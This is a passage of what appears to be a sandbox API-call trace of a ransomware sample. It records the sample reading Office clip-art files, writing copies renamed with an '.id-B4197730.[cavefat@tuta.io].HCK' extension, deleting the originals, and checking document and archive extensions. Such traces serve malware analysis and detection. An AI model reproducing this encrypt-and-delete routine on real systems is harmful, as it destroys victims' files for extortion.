WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.196] SetEndOfFile (hFile=0x364) returned 1 [0164.196] CloseHandle (hObject=0x364) returned 1 [0164.196] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.196] SetEndOfFile (hFile=0x308) returned 1 [0164.197] CloseHandle (hObject=0x308) returned 1 [0164.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".doc") returned 4 [0164.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".docx") returned 5 [0164.198] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.198] lstrlenW (lpString=".pdf") returned 4 [0164.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".xls") returned 4 [0164.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.198] lstrlenW (lpString=".xlsx") returned 5 [0164.198] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.198] lstrlenW (lpString=".ppt") returned 4 [0164.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".zip") returned 4 [0164.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.198] lstrlenW (lpString=".rar") returned 4 [0164.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".bz2") returned 4 [0164.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".7z") returned 3 [0164.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".dbf") returned 4 [0164.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".1cd") returned 4 [0164.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".jpg") returned 4 [0164.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.198] lstrlenW (lpString=".doc") returned 4 [0164.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".docx") returned 5 [0164.198] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.198] lstrlenW (lpString=".pdf") returned 4 [0164.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.198] lstrlenW (lpString=".xls") returned 4 [0164.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.198] lstrlenW (lpString=".xlsx") returned 5 [0164.198] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.199] lstrlenW (lpString=".ppt") returned 4 [0164.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.199] lstrlenW (lpString=".zip") returned 4 [0164.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.199] lstrlenW (lpString=".rar") returned 4 [0164.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.199] lstrlenW (lpString=".bz2") returned 4 [0164.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.199] lstrlenW (lpString=".7z") returned 3 [0164.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.199] lstrlenW (lpString=".dbf") returned 4 [0164.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.199] lstrlenW (lpString=".1cd") returned 4 [0164.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0164.199] lstrlenW (lpString=".jpg") returned 4 [0164.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.199] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.199] lstrlenW (lpString="J0099179.WMF") returned 12 [0164.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.739] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9154) returned 1 [0164.739] CloseHandle (hObject=0x380) returned 1 [0164.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0164.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.739] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.739] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.740] GetLastError () returned 0x0 [0164.740] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0164.779] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0164.780] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.780] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.780] SetEndOfFile (hFile=0x388) returned 1 [0164.780] CloseHandle (hObject=0x388) returned 1 [0164.780] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.781] SetEndOfFile (hFile=0x380) returned 1 [0164.781] CloseHandle (hObject=0x380) returned 1 [0164.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString=".doc") returned 4 [0164.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString=".docx") returned 5 [0164.782] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.782] lstrlenW (lpString=".pdf") returned 4 [0164.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString=".xls") returned 4 [0164.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.782] lstrlenW (lpString=".xlsx") returned 5 [0164.782] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.782] lstrlenW (lpString=".ppt") returned 4 [0164.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString=".zip") returned 4 [0164.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.782] lstrlenW (lpString=".rar") returned 4 [0164.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString=".bz2") returned 4 [0164.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString=".7z") returned 3 [0164.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString=".dbf") returned 4 [0164.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString=".1cd") returned 4 [0164.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.782] lstrlenW (lpString=".jpg") returned 4 [0164.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString=".doc") returned 4 [0164.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString=".docx") returned 5 [0164.783] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.783] lstrlenW (lpString=".pdf") returned 4 [0164.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString=".xls") returned 4 [0164.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.783] lstrlenW (lpString=".xlsx") returned 5 [0164.783] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.783] lstrlenW (lpString=".ppt") returned 4 [0164.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString=".zip") returned 4 [0164.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.783] lstrlenW (lpString=".rar") returned 4 [0164.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString=".bz2") returned 4 [0164.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString=".7z") returned 3 [0164.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString=".dbf") returned 4 [0164.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString=".1cd") returned 4 [0164.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0164.783] lstrlenW (lpString=".jpg") returned 4 [0164.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.783] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.783] lstrlenW (lpString="J0099181.WMF") returned 12 [0164.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.784] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1198) returned 1 [0164.784] CloseHandle (hObject=0x380) returned 1 [0164.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0164.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.784] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.784] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.784] GetLastError () returned 0x0 [0164.784] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0164.786] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0164.787] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.787] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.787] SetEndOfFile (hFile=0x388) returned 1 [0164.787] CloseHandle (hObject=0x388) returned 1 [0164.788] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.788] SetEndOfFile (hFile=0x380) returned 1 [0164.788] CloseHandle (hObject=0x380) returned 1 [0164.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0164.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".doc") returned 4 [0164.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString=".docx") returned 5 [0164.789] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0164.789] lstrlenW (lpString=".pdf") returned 4 [0164.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString=".xls") returned 4 [0164.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.789] lstrlenW (lpString=".xlsx") returned 5 [0164.789] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0164.789] lstrlenW (lpString=".ppt") returned 4 [0164.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".zip") returned 4 [0164.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.789] lstrlenW (lpString=".rar") returned 4 [0164.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString=".bz2") returned 4 [0164.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString=".7z") returned 3 [0164.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".dbf") returned 4 [0164.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".1cd") returned 4 [0164.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".jpg") returned 4 [0164.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.789] lstrlenW (lpString=".doc") returned 4 [0164.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.789] lstrlenW (lpString=".docx") returned 5 [0164.789] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0164.789] lstrlenW (lpString=".pdf") returned 4 [0164.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString=".xls") returned 4 [0164.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.790] lstrlenW (lpString=".xlsx") returned 5 [0164.790] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0164.790] lstrlenW (lpString=".ppt") returned 4 [0164.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.790] lstrlenW (lpString=".zip") returned 4 [0164.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.790] lstrlenW (lpString=".rar") returned 4 [0164.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString=".bz2") returned 4 [0164.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString=".7z") returned 3 [0164.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.790] lstrlenW (lpString=".dbf") returned 4 [0164.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.790] lstrlenW (lpString=".1cd") returned 4 [0164.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0164.790] lstrlenW (lpString=".jpg") returned 4 [0164.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.790] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0164.790] lstrlenW (lpString="J0099182.WMF") returned 12 [0164.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.790] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3840) returned 1 [0164.790] CloseHandle (hObject=0x380) returned 1 [0164.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0164.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0164.791] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.791] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0164.799] GetLastError () returned 0x0 [0164.799] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf00, lpOverlapped=0x0) returned 1 [0164.800] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf10, lpOverlapped=0x0) returned 1 [0164.801] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.801] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.801] SetEndOfFile (hFile=0x388) returned 1 [0164.801] CloseHandle (hObject=0x388) returned 1 [0164.802] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.802] SetEndOfFile (hFile=0x380) returned 1 [0164.802] CloseHandle (hObject=0x380) returned 1 [0164.802] SetFileAttributesW 